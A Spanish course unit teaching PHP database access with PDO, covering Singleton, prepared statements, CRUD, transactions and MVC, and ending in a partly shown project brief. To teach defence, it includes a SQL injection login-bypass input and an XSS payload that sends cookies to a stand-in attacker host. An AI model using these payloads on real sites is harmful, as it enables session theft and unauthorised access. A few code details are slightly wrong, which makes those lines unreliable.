# Unidad Didáctica 7:
# Acceso a Datos y Persistencia

## Arquitectura de Software con PDO y Patrones de Diseño

**Módulo Profesional:** Desarrollo Web en Entorno Servidor
**Ciclo Formativo:** Desarrollo de Aplicaciones Web (DAW)

**Docente:** Pedro Antonio Aguilar Lima

Curso Académico 2025-2026

# Índice general

# Capítulo 1

# Fundamentos del Modelo Relacional

## 1.1. ¿Qué es una Base de Datos?

Una Base de Datos (BBDD) es un conjunto de información estructurada y almacenada sistemáticamente para facilitar su posterior uso. A diferencia de un sistema de archivos tradicional, una BBDD relacional garantiza:

1. **Integridad:** Los datos son correctos y consistentes.
2. **Seguridad:** Solo usuarios autorizados acceden a los datos.
3. **Concurrencia:** Múltiples usuarios pueden leer/escribir a la vez sin corromper la información.

[Image of entity relationship diagram example]

## 1.2. El Modelo E-R (Entidad-Relación)

Antes de escribir una sola línea de código, un buen desarrollador diseña su base de datos.

### 1.2.1. Conceptos Clave

- **Entidad (Tabla):** Objeto del mundo real (Ej. *Usuario*, *Producto*). Se convierte en una Tabla.
- **Atributo (Columna):** Característica de la entidad (Ej. *nombre*, *precio*).
- **Tupla (Fila):** Un registro concreto (Ej. *Monitor Samsung, 200€*).

### 1.2.2. Claves (Keys)

Son fundamentales para la integridad de los datos.

**Primary Key (PK)**

Es un identificador **único** para cada fila. Nunca se repite y nunca es nulo. Por ejemplo, el DNI de una persona o el ISBN de un libro. En desarrollo web, solemos usar un campo `id` autoincremental (1, 2, 3...).

**Foreign Key (FK)**

Es un campo que apunta a la Primary Key de otra tabla. Crea la **relación**. *Ejemplo:* En la tabla `libros`, el campo `autor_id` es una FK que apunta al `id` de la tabla `autores`.

# Capítulo 2

# El Lenguaje SQL

SQL (Structured Query Language) es el estándar universal para hablar con bases de datos relacionales. Se divide en dos grandes bloques.

## 2.1. DDL (Data Definition Language)

Son los comandos para definir la estructura (crear/borrar tablas).

```sql
-- Crear la tabla de Autores
CREATE TABLE autores (
    id INT AUTO_INCREMENT PRIMARY KEY,
    nombre VARCHAR(100) NOT NULL,
    nacionalidad VARCHAR(50)
);

-- Crear la tabla de Libros (Relacionada)
CREATE TABLE libros (
    id INT AUTO_INCREMENT PRIMARY KEY,
    titulo VARCHAR(150) NOT NULL,
    precio DECIMAL(10, 2),
    autor_id INT,
    -- Definimos la relación (Foreign Key)
    CONSTRAINT fk_libro_autor
        FOREIGN KEY (autor_id) REFERENCES autores(id)
        ON DELETE CASCADE
);
```

Listing 2.1: Creación de Tablas (DDL)

## 2.2. DML (Data Manipulation Language)

Son los comandos para manipular los datos. **Estos son los que usaremos desde PHP**.

### 2.2.1. INSERT (Crear)

```sql
INSERT INTO autores (nombre, nacionalidad) VALUES ('Cervantes', 'Española');
```

```sql
INSERT INTO libros (titulo, precio, autor_id) VALUES ('El Quijote', 29.99, 1);
```

### 2.2.2. SELECT (Leer)

Es el comando más potente y complejo.

```sql
-- Seleccionar todo
SELECT * FROM libros;

-- Filtrar datos (WHERE)
SELECT titulo, precio FROM libros WHERE precio < 20 AND nacionalidad = 'Española';

-- Ordenar (ORDER BY)
SELECT * FROM libros ORDER BY precio DESC;
```

### 2.2.3. UPDATE (Actualizar)

**¡Cuidado!**

Si olvidas el `WHERE`, actualizarás **toda** la tabla.

```sql
UPDATE libros SET precio = 25.50 WHERE id = 1;
```

### 2.2.4. DELETE (Borrar)

```sql
DELETE FROM libros WHERE id = 1;
```

# Capítulo 3

# Entorno de Trabajo: Herramientas SQL

Para ejecutar los comandos anteriores, necesitamos un cliente de base de datos.

## 3.1. phpMyAdmin (Nivel Básico)

Es una herramienta web incluida en XAMPP.

- **Ventajas:** No requiere instalación, interfaz visual sencilla.
- **Desventajas:** Limitada para bases de datos grandes, no tiene autocompletado avanzado, solo sirve para MySQL.

## 3.2. DBeaver (Nivel Profesional)

Es un software de escritorio universal (Multi-plataforma).

- **Ventajas:**
  - Se conecta a cualquier BBDD (MySQL, PostgreSQL, Oracle, SQLite...).
  - Genera diagramas E-R automáticamente.
  - Autocompletado de código inteligente.

**Recomendación Docente**

Aunque en clase usaremos phpMyAdmin para consultas rápidas, se recomienda instalar DBeaver para familiarizarse con entornos de trabajo reales.

# Capítulo 4

# Introducción a la Arquitectura de Datos

## 4.1. La Necesidad de la Persistencia

Las aplicaciones web funcionan sobre el protocolo HTTP, el cual es, por definición, un protocolo *sin estado* (stateless). Esto significa que el servidor olvida quién es el usuario y qué ha hecho en cuanto termina de enviar la respuesta al navegador.

Para crear aplicaciones reales (tiendas online, redes sociales, sistemas de gestión), necesitamos un mecanismo que nos permita **recordar** la información a largo plazo. Aquí entra en juego la **Base de Datos**.

En esta unidad, no nos limitaremos a "guardar datos". Aprenderemos a diseñar una **Capa de Acceso a Datos** robusta, segura y profesional, cumpliendo con los Resultados de Aprendizaje (RA4) establecidos en la normativa.

## 4.2. Evolución del Acceso a Datos en PHP

Para entender por qué programamos como programamos hoy en día, debemos entender la evolución histórica del lenguaje. PHP ha pasado por tres etapas en su forma de conectarse a MySQL y otros motores:

- **Extensión mysql_ (Obsoleta):** Fue la primera forma de conexión. Era puramente procedural y mezclaba la conexión con la lógica de negocio (ej. `mysql_connect`). Fue eliminada en PHP 7.0 por problemas de seguridad.
- **Extensión MySQLi (MySQL Improved):** Surgió como mejora. Permite tanto el enfoque procedural como el orientado a objetos. Sin embargo, tiene una gran limitación: **solo funciona con bases de datos MySQL**. Si tu empresa decide migrar a PostgreSQL o usar SQLite para una app móvil, tendrías que reescribir todo el código.
- **PDO (PHP Data Objects):** Es el estándar actual y el que utilizaremos en este curso. PDO no es solo una librería, es una **Capa de Abstracción de Acceso a Datos**.

**Nota del Experto**

Un Desarrollador Full-Stack profesional nunca debe atar su código a un solo motor de base de datos. Utilizar PDO nos permite cambiar el motor de base de datos (el *backend*) sin necesidad de modificar el código PHP de nuestra aplicación. Esto se conoce como **Agnosticismo de Base de Datos**.

# Capítulo 5

# PDO: La Capa de Abstracción

## 5.1. Concepto de Driver y DSN

PDO actúa como una interfaz unificada. Para que PHP pueda "hablar" con una base de datos específica, necesita un traductor. En términos técnicos, este traductor se llama **Driver**.

Cuando configuramos una conexión PDO, debemos definir el **DSN (Data Source Name)**. El DSN es una cadena de texto que indica tres cosas:

1. **El Driver:** ¿Qué tipo de base de datos es? (mysql, pgsql, sqlite, oci, etc.).
2. **El Host:** ¿Dónde está el servidor? (localhost, una IP, o una ruta de archivo).
3. **El Nombre de la BD:** ¿A qué base de datos queremos entrar?

### 5.1.1. Ejemplos de Arquitectura Multi-Base de Datos

A continuación, se muestra cómo la misma estructura de código PHP sirve para conectar con tecnologías radicalmente distintas.

#### Escenario A: Entorno Web Estándar (MySQL/MariaDB)

Este es el entorno que utilizáis habitualmente con XAMPP.

```
$dsn = 'mysql:host=localhost;dbname=tienda;charset=utf8mb4';
$usuario = 'root';
$pass = '';

try {
    $pdo = new PDO($dsn, $usuario, $pass);
} catch (PDOException $e) {
    echo "Error: " . $e->getMessage();
}
```

Listing 5.1: DSN para MySQL

#### Escenario B: Aplicación Móvil o Prototipo (SQLite)

SQLite es una base de datos **sin servidor**. Todo el motor de base de datos está contenido en un único archivo. Es ideal para prototipado rápido o aplicaciones que no requieren una infraestructura compleja. Observad cómo cambia el DSN:

```php
// No hay host, ni usuario, ni password. Solo la ruta al archivo.
$dsn = 'sqlite:/var/www/html/mi_app/database.sqlite';

try {
    $pdo = new PDO($dsn);
} catch (PDOException $e) {
    echo "Error: " . $e->getMessage();
}
```

Listing 5.2: DSN para SQLite

# Capítulo 6

# Patrones de Diseño: Singleton

## 6.1. El Problema de las Conexiones Múltiples

Uno de los errores más comunes en desarrolladores junior es instanciar la conexión a la base de datos (`new PDO(...)`) en cada archivo o función que necesita datos.

Imaginad una aplicación con 100 usuarios simultáneos. Si cada usuario carga una página que hace 5 consultas a la base de datos, y en cada consulta abrimos una conexión nueva:

$$100 \text{ usuarios} \times 5 \text{ conexiones} = 500 \text{ conexiones abiertas}$$

Esto saturará la memoria del servidor y tumbará la aplicación (Error *Too many connections*).

## 6.2. Implementación del Patrón Singleton

Para solucionar esto, utilizamos el **Patrón Singleton**. Este patrón de diseño garantiza que una clase solo tenga **una única instancia** y proporciona un punto de acceso global a ella.

A continuación, presentamos la implementación profesional de la clase `Database.php`. Esta clase cumple con los criterios de evaluación de la UD7, estableciendo conexiones seguras mediante PDO.

```php
<?php

class Database {
    // Propiedad estática para guardar la instancia única
    private static $instance = null;

    // Configuración de conexión (Debería venir de un config.php)
    private static $config = [
        'driver' => 'mysql', // Opciones: mysql, sqlite, pgsql
        'host' => 'localhost',
        'dbname' => 'curso_dwes',
        'user' => 'root',
        'pass' => ''
    ];

    /**
     * Constructor privado.
```

```
18      * Previene la creación de objetos vía "new Database()" externo.
19      */
20     private function __construct() {
21         // El constructor está vacío
22     }
23 
24     /**
25      * Método estático para obtener la instancia única.
26      */
27     public static function conectar() {
28         // Si la instancia no existe, la creamos
29         if (self::$instance === null) {
30             try {
31                 // Selección dinámica del driver
32                 if (self::$config['driver'] == 'sqlite') {
33                     $dsn = "sqlite:mi_base_de_datos.sqlite";
34                     $user = null;
35                     $pass = null;
36                 } else {
37                     $dsn = self::$config['driver'] .
38                            ":host=" . self::$config['host'] .
39                            ";dbname=" . self::$config['dbname'] .
40                            ";charset=utf8mb4";
41                     $user = self::$config['user'];
42                     $pass = self::$config['pass'];
43                 }
44 
45                 // Creación del objeto PDO
46                 self::$instance = new PDO($dsn, $user, $pass);
47 
48                 // Configuración de Atributos de PDO
49                 // 1. Lanzar Excepciones en caso de error (CRÍTICO)
50                 self::$instance->setAttribute(PDO::ATTR_ERRMODE, PDO::
    ERRMODE_EXCEPTION);
51 
52                 // 2. Usar arrays asociativos por defecto
53                 self::$instance->setAttribute(PDO::
    ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
54 
55                 // 3. Desactivar emulación de sentencias preparadas (
    Seguridad)
56                 self::$instance->setAttribute(PDO::
    ATTR_EMULATE_PREPARES, false);
57 
58             } catch (PDOException $e) {
59                 // En producción, esto debería ir a un log, no a
    pantalla
60                 die("Error Crítico de Conexión: " . $e->getMessage());
61             }
62         }
63 
```

```
64          // Devolvemos la instancia existente
65          return self::$instance;
66      }
67
68      /**
69       * Evita que el objeto se pueda clonar
70       */
71      private function __clone() { }
72
73      /**
74       * Evita que el objeto se pueda deserializar
75       */
76      public function __wakeup() { }
77  }
```

Listing 6.1: Clase Database con Patrón Singleton

## 6.3. Uso de la Clase Database

Gracias a esta arquitectura, conectar a la base de datos en cualquier parte de nuestra aplicación es sencillo y eficiente:

```
1  require_once 'Database.php';
2
3  // Obtenemos la conexión (si ya existe, nos da la misma)
4  $pdo = Database::conectar();
5
6  // Ya podemos lanzar consultas
7  $sql = "SELECT version()";
8  $stmt = $pdo->query($sql);
9  $version = $stmt->fetch();
10
11 echo "Motor de Base de Datos: " . $version['version()'];
```

Listing 6.2: Consumo del Singleton

# Capítulo 7

# Seguridad en Bases de Datos

## 7.1. Inyección SQL: El Enemigo Público Nº1

La Inyección SQL es una vulnerabilidad de seguridad web que permite a un atacante interferir en las consultas que una aplicación realiza a su base de datos.

**¡PELIGRO CRÍTICO!**

Nunca confíes en los datos enviados por el usuario. Concatenar variables directamente en una cadena SQL es la causa principal de hackeos en aplicaciones PHP.

### 7.1.1. Anatomía de un Ataque

Imaginemos un sistema de login clásico programado de forma incorrecta:

```
// Recibimos datos del formulario
$user = $_POST['usuario'];
// Imaginad que el usuario escribe:  admin' OR '1'='1

$sql = "SELECT * FROM usuarios WHERE nombre = '" . $user . "'";

// La consulta resultante que ejecuta la base de datos es:
// SELECT * FROM usuarios WHERE nombre = 'admin' OR '1'='1'
```

Listing 7.1: CÓDIGO VULNERABLE (NO USAR)

Como la condición `'1'='1'` siempre es verdadera (`TRUE`), la base de datos devolverá todos los usuarios, permitiendo al atacante entrar como administrador sin saber la contraseña.

## 7.2. Sentencias Preparadas (Prepared Statements)

La solución profesional y definitiva para evitar la Inyección SQL es el uso de **Sentencias Preparadas**.

### 7.2.1. ¿Cómo funcionan?

El proceso se divide en tres fases, lo que impide que el código SQL se mezcle con los datos:

1. **Preparación (Prepare):** Enviamos la estructura SQL a la base de datos con marcadores de posición (`:nombre`). La base de datos analiza, compila y optimiza el plan de consulta.

2. **Vinculación (Bind):** Asociamos los valores de las variables PHP a los marcadores.

3. **Ejecución (Execute):** La base de datos ejecuta la sentencia. Como la estructura ya estaba compilada, el dato introducido se trata estrictamente como texto, nunca como código ejecutable.

### 7.2.2. Implementación Segura con PDO

A continuación, reescribimos el login anterior utilizando la metodología segura:

```php
require_once 'Database.php';
$pdo = Database::conectar();

$user_input = $_POST['usuario'];

// 1. PREPARE: Usamos marcadores (:nombre) en lugar de variables
$sql = "SELECT * FROM usuarios WHERE nombre = :nombre";
$stmt = $pdo->prepare($sql);

// 2. BIND: Vinculamos el valor indicando el tipo de dato
// PDO::PARAM_STR asegura que se trate como cadena de texto
$stmt->bindValue(':nombre', $user_input, PDO::PARAM_STR);

// 3. EXECUTE: Ejecutamos la consulta segura
$stmt->execute();

$usuario = $stmt->fetch();

if ($usuario) {
    echo "Usuario encontrado: " . $usuario['nombre'];
} else {
    echo "Acceso denegado.";
}
```

Listing 7.2: Login Seguro con Sentencias Preparadas

## 7.3. Diferencia entre bindParam y bindValue

En PDO existen dos formas de vincular datos. Es pregunta habitual de entrevista técnica conocer la diferencia:

- **bindValue(:id, $id):** Vincula el valor que tiene la variable **en ese momento exacto**. Es lo más común.

- **bindParam(:id, $id):** Vincula la variable **por referencia**. Si la variable cambia después del *bind* pero antes del *execute*, la consulta usará el nuevo valor.

```php
$id = 1;
$stmt = $pdo->prepare("SELECT * FROM productos WHERE id = :id");

// Con bindParam, se enlaza a la referencia de $id
$stmt->bindParam(':id', $id, PDO::PARAM_INT);

$id = 2; // Cambiamos la variable DESPUÉS del bind
$stmt->execute(); // Ejecutará: SELECT ... WHERE id = 2
```

Listing 7.3: Diferencia técnica entre Bindings

# Capítulo 8

# Operaciones CRUD Profesionales

## 8.1. Introducción al CRUD

El acrónimo **CRUD** (Create, Read, Update, Delete) resume las cuatro operaciones básicas de persistencia. En este capítulo, implementaremos estas operaciones utilizando nuestra clase `Database` y sentencias preparadas para garantizar la seguridad.

## 8.2. INSERT: Creación de Registros

Para insertar datos, el patrón profesional implica tres pasos: preparar la sentencia con marcadores, crear un array con los datos y ejecutar.

```php
require_once 'Database.php';
$pdo = Database::conectar();

// Datos simulados (vendrían de un $_POST)
$nuevo_producto = [
    ':nombre' => 'Monitor 4K',
    ':precio' => 299.99,
    ':stock'  => 15
];

// 1. Definimos la SQL con marcadores (:nombre, etc.)
$sql = "INSERT INTO productos (nombre, precio, stock)
        VALUES (:nombre, :precio, :stock)";

// 2. Preparamos
$stmt = $pdo->prepare($sql);

// 3. Ejecutamos pasando el array directamente
// Esto hace el binding automático de todas las variables
if ($stmt->execute($nuevo_producto)) {
    // Método útil: lastInsertId() devuelve el ID autogenerado
    echo "Producto creado con ID: " . $pdo->lastInsertId();
} else {
    echo "Error al insertar el producto.";
```

```
}
```

Listing 8.1: Inserción Segura de Datos

## 8.3. READ: Lectura de Datos

### 8.3.1. Fetch vs FetchAll

Es crucial entender la gestión de memoria al leer datos.

- **fetch():** Obtiene la siguiente fila del conjunto de resultados. Es como un puntero que avanza. Ideal para bucles `while` o cuando solo esperamos un resultado.
- **fetchAll():** Vuelca **toda** la consulta en un array de golpe. **Peligro:** Si la tabla tiene 1 millón de filas, agotará la memoria RAM del servidor.

```
$stmt = $pdo->query("SELECT * FROM productos");

// Forma eficiente: Pedimos las filas de una en una
while ($fila = $stmt->fetch()) {
    echo "Producto: " . $fila['nombre'] . " - Precio: " . $fila['precio'] . "<br>";
}
```

Listing 8.2: Listado eficiente con While

## 8.4. UPDATE y DELETE

Estas operaciones son destructivas. Siempre deben ejecutarse sobre un **ID** específico. El método `rowCount()` es vital aquí para saber si la operación tuvo éxito real.

```
$id_producto = 5;
$nuevo_precio = 250.00;

$sql = "UPDATE productos SET precio = :precio WHERE id = :id";
$stmt = $pdo->prepare($sql);

$stmt->execute([
    ':precio' => $nuevo_precio,
    ':id'     => $id_producto
]);

// rowCount() nos dice cuántas filas se modificaron realmente
if ($stmt->rowCount() > 0) {
    echo "Precio actualizado correctamente.";
} else {
    echo "No se ha modificado nada (quizás el ID no existe o el precio era el mismo).";
}
```

Listing 8.3: Actualización y Verificación

# Capítulo 9

# Transacciones y ACID

## 9.1. El Concepto de Atomicidad

Imaginad una transferencia bancaria:

1. Restar 100€ a la Cuenta A.
2. Sumar 100€ a la Cuenta B.

Si se va la luz justo después del paso 1, el dinero desaparece. La base de datos queda **inconsistente**. Para evitarlo, las bases de datos relacionales cumplen el estándar **ACID** (Atomicidad, Consistencia, Aislamiento, Durabilidad).

En PHP, manejamos esto con tres métodos:

- `beginTransaction()`: Desactiva el auto-guardado. Nada es real hasta que lo digamos.
- `commit()`: Confirma los cambios. "Guardar partida".
- `rollBack()`: Deshace todo hasta el inicio de la transacción. Çargar partida anterior".

## 9.2. Implementación de una Transacción Compleja

El siguiente código muestra cómo gestionar un pedido complejo: crear el pedido y restar stock del producto. Si falta stock o falla algo, no se crea el pedido.

```
try {
    // 1. Iniciamos la transacción
    $pdo->beginTransaction();

    // PASO A: Crear el pedido
    $stmt = $pdo->prepare("INSERT INTO pedidos (cliente_id, fecha)
   VALUES (1, NOW())");
    $stmt->execute();
    $id_pedido = $pdo->lastInsertId(); // Guardamos el ID para usarlo
   luego

    // PASO B: Insertar línea de pedido
    $stmt = $pdo->prepare("INSERT INTO linea_pedidos (pedido_id,
   producto_id, cantidad) VALUES (:ped, :prod, 1)");
```

```php
    $stmt->execute([':ped' => $id_pedido, ':prod' => 105]);

    // PASO C: Restar stock (Operación Crítica)
    $stmt = $pdo->prepare("UPDATE productos SET stock = stock - 1 WHERE id = 105 AND stock > 0");
    $stmt->execute();

    // Verificamos si realmente se restó stock (si había disponible)
    if ($stmt->rowCount() == 0) {
        // Si no se pudo restar (stock era 0), lanzamos error manual
        throw new Exception("Stock insuficiente para el producto 105");
    }

    // 2. Si llegamos aquí, todo ha ido bien.! CONFIRMAMOS!
    $pdo->commit();
    echo "Pedido realizado con éxito. ID: " . $id_pedido;

} catch (Exception $e) {
    // 3. Si hubo CUALQUIER error, deshacemos todo
    // El pedido desaparece, la línea desaparece, el stock se queda igual.
    $pdo->rollBack();

    echo "Error en la transacción: " . $e->getMessage();
}
```

Listing 9.1: Transacción Segura de Pedido

**Nota Importante**

Las transacciones solo funcionan si el motor de la base de datos las soporta. En MySQL, debéis aseguraros de que las tablas usan el motor **InnoDB**, no MyISAM.

# Capítulo 10

# Arquitectura del Proyecto (MVC)

## 10.1. Estructura de Directorios Profesional

Uno de los indicadores de calidad de software es el orden. No podemos mezclar la lógica de conexión, las consultas SQL y el HTML en un mismo archivo.

A partir de esta unidad, se exigirá la siguiente estructura de carpetas en los entregables:

```
/mi_proyecto
|-- /config
|   |-- config.php       (Credenciales de BBDD)
|   |-- Database.php     (Clase Singleton)
|
|-- /src                 (Código Fuente / Lógica)
|   |-- Producto.php     (Clase Modelo/Entidad)
|   |-- ProductoRepository.php (Consultas SQL)
|
|-- /public              (Lo único visible al navegador)
|   |-- index.php        (Punto de entrada)
|   |-- css/
|   |-- js/
|
|-- /views               (Archivos HTML/PHP de vista)
|   |-- lista_productos.php
|   |-- editar_producto.php
```

## 10.2. Separación de Responsabilidades: El Patrón Repository

Para no ensuciar nuestro código con sentencias SQL repartidas por todas partes, utilizaremos el patrón **Repository** (o DAO). Esto consiste en crear una clase dedicada **exclusivamente** a hablar con la base de datos para una entidad concreta.

```
1 require_once __DIR__ . '/../config/Database.php';
2
3 class ProductoRepository {
```

```php

    // Método para obtener todos (READ)
    public static function obtenerTodos() {
        $pdo = Database::conectar();
        $stmt = $pdo->query("SELECT * FROM productos");
        return $stmt->fetchAll();
    }

    // Método para crear (CREATE)
    public static function crear($nombre, $precio) {
        $pdo = Database::conectar();
        $sql = "INSERT INTO productos (nombre, precio) VALUES (:n, :p)";
        $stmt = $pdo->prepare($sql);
        return $stmt->execute([':n' => $nombre, ':p' => $precio]);
    }

    // Método para buscar por ID
    public static function obtenerPorId($id) {
        $pdo = Database::conectar();
        $stmt = $pdo->prepare("SELECT * FROM productos WHERE id = :id");
        $stmt->bindValue(':id', $id, PDO::PARAM_INT);
        $stmt->execute();
        return $stmt->fetch();
    }
}
```

Listing 10.1: Clase ProductoRepository.php

## 10.3. Consumo desde el Controlador (index.php)

Gracias a esta clase, nuestro archivo principal queda limpio y legible. No hay SQL visible, solo llamadas a métodos.

```php
require_once '../src/ProductoRepository.php';

// Lógica de Negocio
$productos = ProductoRepository::obtenerTodos();

// Lógica de Vista (Separada)
include '../views/lista_productos.php';
```

Listing 10.2: Ejemplo de uso en index.php

# Capítulo 11

# Higiene de Datos y Seguridad Frontend

Hemos aprendido a proteger nuestra base de datos de ataques (SQL Injection) usando Sentencias Preparadas. Sin embargo, existe otro vector de ataque muy común que ocurre no al *guardar* los datos, sino al *mostrarlos* en el navegador.

## 11.1. Ataques XSS (Cross-Site Scripting)

El ataque XSS ocurre cuando un usuario malintencionado introduce código JavaScript dentro de un campo de texto (por ejemplo, en un comentario o nombre de producto).

Si nuestra base de datos guarda el siguiente nombre de producto:

```
<script>window.location='http://sitio-hacker.com?cookie='+document.cookie</script>
```

Y nosotros lo imprimimos en PHP simplemente con:

```php
echo $producto->nombre;
```

El navegador del usuario final ejecutará ese JavaScript, robando sus cookies de sesión.

## 11.2. Defensa: Escapado de Salida (htmlspecialchars)

La regla de oro es: **Nunca confíes en el dato al mostrarlo en HTML**, incluso si viene de tu propia base de datos.

PHP proporciona la función `htmlspecialchars()`, que convierte los caracteres especiales de HTML en entidades seguras.

- `<` se convierte en `<`
- `>` se convierte en `>`
- `"` se convierte en `&quot;`

### 11.2.1. Implementación Correcta

```php
// FORMA INCORRECTA (VULNERABLE)
echo "<h1>" . $producto->nombre . "</h1>";

// FORMA CORRECTA (SEGURA)
```

```php
echo "<h1>" . htmlspecialchars($producto->nombre) . "</h1>";
```

Listing 11.1: Forma segura de imprimir HTML

**Tip Profesional**

Si usáis un motor de plantillas en el futuro (como Blade en Laravel o Twig), esto se hace automáticamente. Pero en PHP nativo, es responsabilidad vuestra usar `htmlspecialchars` en cada `echo`.

## 11.3. Gestión de Fechas (MySQL vs Humano)

Otro problema clásico es el formato de fechas.

- **MySQL/ISO:** `YYYY-MM-DD` (Ej: 2025-12-31). Es el único formato que debéis usar para guardar u ordenar.
- **Humano (Español):** `DD/MM/YYYY` (Ej: 31/12/2025).

Nunca guardéis fechas en formato español en la base de datos (usad tipo `DATE`, no `VARCHAR`). La conversión debe hacerse **solo en el momento de mostrar el dato**.

### 11.3.1. La clase DateTime

PHP ofrece una clase orientada a objetos muy potente para esto.

```php
// Supongamos que de la BBDD viene: $fila['fecha_nacimiento'] = "1990-05-20"

// 1. Creamos el objeto fecha
$fecha = new DateTime($fila['fecha_nacimiento']);

// 2. Lo mostramos como queramos
echo "Fecha original: " . $fila['fecha_nacimiento']; // 1990-05-20
echo "Fecha española: " . $fecha->format('d/m/Y');   // 20/05/1990
echo "Fecha completa: " . $fecha->format('d-M-Y H:i'); // 20-May-1990 00:00
```

Listing 11.2: Formateo de fechas profesional

# Capítulo 12

# Mapeo Objeto-Relacional (ORM Nativo)

## 12.1. El problema de los Arrays Asociativos

Hasta este punto, hemos recuperado los datos de la base de datos en forma de arrays asociativos usando `PDO::FETCH_ASSOC`.

```
$producto = $stmt->fetch();
echo $producto['nombre']; // Esto es un array, no un objeto
```

Aunque funcional, esto rompe con la Programación Orientada a Objetos que aprendimos en la UD5. Si tenemos una clase `Producto` con métodos propios (como `calcularDescuento()`), no podemos usarlos si trabajamos con arrays.

## 12.2. FETCH_CLASS: La Magia de PDO

PDO tiene un modo potente capaz de "inyectar" los datos de las columnas de la tabla directamente en las propiedades de una Clase PHP.

Imaginemos nuestra clase Entidad (Modelo):

```
class Producto {
    // Las propiedades deben coincidir con las columnas de la BBDD
    public $id;
    public $nombre;
    public $precio;
    public $stock;

    // Un método propio de la lógica de negocio
    public function obtenerPrecioConIva() {
        return $this->precio * 1.21;
    }
}
```

Listing 12.1: Clase Modelo Producto.php

Ahora, configuramos PDO para que nos devuelva instancias de esta clase automáticamente:

```
require_once 'Database.php';
require_once 'Producto.php';

$pdo = Database::conectar();
```

```php
$stmt = $pdo->query("SELECT * FROM productos");

// AQUÍ ESTÁ EL TRUCO:
// Le decimos a PDO que no queremos arrays, sino objetos de la clase 'Producto'
$productos = $stmt->fetchAll(PDO::FETCH_CLASS, 'Producto');

foreach ($productos as $prod) {
    // $prod ya no es un array.! Es un Objeto real!
    // Podemos acceder con flecha (->) y usar sus métodos.

    echo "Producto: " . $prod->nombre . "<br>";
    echo "Precio final: " . $prod->obtenerPrecioConIva() . " €<hr>";
}
```

Listing 12.2: Fetching de Objetos Reales

**Ventaja Profesional**

Al usar `FETCH_CLASS`, estamos aplicando un patrón **Active Record** básico. Esto permite que los datos tengan comportamiento. Si un alumno saca un "Producto" de la base de datos, ese producto ya sabe calcular su propio IVA sin tener que reprogramar la fórmula cada vez.

# Capítulo 13

# Ecosistema de Herramientas SQL

El mercado laboral actual exige que un desarrollador Full-Stack sepa moverse más allá de las herramientas básicas. Dependiendo del entorno (Desarrollo, Producción o Diseño), utilizaremos software diferente.

## 13.1. Nivel 1: Herramientas Web (Entorno Local/Hosting)

### 13.1.1. phpMyAdmin

Es la herramienta por defecto en stacks como XAMPP.

- **Uso real:** Gestión rápida en hostings compartidos baratos (tipo 1&1, GoDaddy) donde no tenemos acceso remoto.
- **Limitaciones:** Si intentas abrir una tabla con 1 millón de filas, el navegador se bloqueará. No tiene autocompletado inteligente.

## 13.2. Nivel 2: Clientes de Escritorio (El Estándar)

Aquí es donde trabajaréis el 90 % del tiempo. Permiten conexiones remotas (SSH Tunneling) y gestionan grandes volúmenes de datos.

### 13.2.1. DBeaver (Open Source)

Es el "navaja suiza"gratuito más popular actualmente.

- **Ventaja:** Es universal. Con el mismo programa te conectas a MySQL, PostgreSQL, SQLite, Oracle e incluso MongoDB.
- **Empresas que lo usan:** Consultoras tecnológicas, Administración Pública y Startups que buscan reducir costes de licencias.

### 13.2.2. MySQL Workbench (Oficial)

Desarrollada por Oracle. Su punto fuerte no es las consultas, sino el **Diseño**.

- **Feature Estrella:** *Reverse Engineering*. Puedes conectarte a una base de datos existente y que el programa te dibuje automáticamente el Diagrama Entidad-Relación (E-R).

- **Uso real:** Arquitectos de Software que necesitan documentar la base de datos antes de programar.

## 13.3. Nivel 3: Herramientas Enterprise (De Pago)

### 13.3.1. DataGrip (JetBrains)

Es el estándar en empresas que utilizan el ecosistema IntelliJ (Java) o PHPStorm (PHP).

- **Potencia:** Su motor de análisis de código es superior. Si cambias el nombre de una columna, DataGrip busca en todo tu código PHP dónde se usa esa columna y te avisa para que lo cambies (Refactoring).
- **Intellisense:** Adivina los 'JOIN' basándose en las claves foráneas. Escribes 'SELECT * FROM usuarios u JOIN' y él solo completa 'pedidos p ON u.id = p.usuario_id'.

## 13.4. Nivel 4: La Terminal (Solo Seniors/DevOps)

En entornos de Producción (Servidores Linux en AWS, Google Cloud o Azure), a menudo **no hay interfaz gráfica**. Un Senior debe saber conectarse por consola.

```
# Sintaxis: mysql -u [usuario] -p -h [host]
$ mysql -u root -p -h 192.168.1.50

Enter password: *********
Welcome to the MySQL monitor.

mysql> SHOW DATABASES;
mysql> USE mi_tienda;
mysql> SELECT count(*) FROM pedidos;
```

Listing 13.1: Conexión vía Terminal Linux

**Escenario Real de Pánico**

"Se ha caído la web a las 3 de la mañana. Tienes que entrar por SSH al servidor, hacer una copia de seguridad (`mysqldump`) y reiniciar el servicio. Aquí no tienes ratón ni menús. Solo tú y la pantalla negra."

## 13.5. Tabla Comparativa: ¿Qué usan las empresas?

| Perfil | Herramienta | Motivo | Coste |
|---|---|---|---|
| Estudiante / Junior | phpMyAdmin | Viene instalado, fácil. | Gratis |
| Backend Developer | DBeaver | Multi-conexión, rápido. | Gratis |
| Arquitecto Software | MySQL Workbench | Diseño de Diagramas. | Gratis |
| Empresa "Top" | DataGrip | Productividad extrema. | 200€/año |
| DevOps / SysAdmin | Terminal (CLI) | Automatización (Scripts). | Gratis |

# Capítulo 14

# Proyecto Final de Unidad

## 14.1. Especificaciones del Caso Práctico

Para superar la Unidad Didáctica 7, el alumno deberá desarrollar una aplicación web de gestión de **Biblioteca Personal**.

### 14.1.1. Requisitos Técnicos (Imprescindibles)

1. **Arquitectura:** Uso obligatorio de la clase `Database` (Singleton) y estructura de carpetas separada (MVC básico).

2. **Base de Datos:** Debe funcionar indistintamente en MySQL o SQLite cambiando solo el archivo `config.php`.

3. **Seguridad:** 100 % de las consultas deben usar Sentencias Preparadas. Cualquier concatenación de variables implica un suspenso directo.

4. **Funcionalidad:**

   - Listar libros (título, autor, año, género).
   - Añadir nuevo libro.
   - Editar libro existente.
   - Borrar libro (con confirmación JS).

5. **Transacción (Reto):** Al borrar un autor, el sistema debe preguntar si se borran sus libros en cascada o se desvinculan. Esto debe hacerse en una transacción.

## 14.2. Guía de Ayuda para el Reto de Transacciones

Para abordar el punto 5 (Borrado de Autor), debéis implementar una lógica condicional dentro de una transacción. El flujo lógico que debéis programar es el siguiente:

**Lógica del Borrado de Autor**

1. Iniciar Transacción (`$pdo->beginTransaction()`).
2. **Si el usuario elige "Borrar Todo" (Cascada):**
   - Paso 1: Ejecutar `DELETE FROM libros WHERE autor_id = :id`
   - Paso 2: Ejecutar `DELETE FROM autores WHERE id = :id`
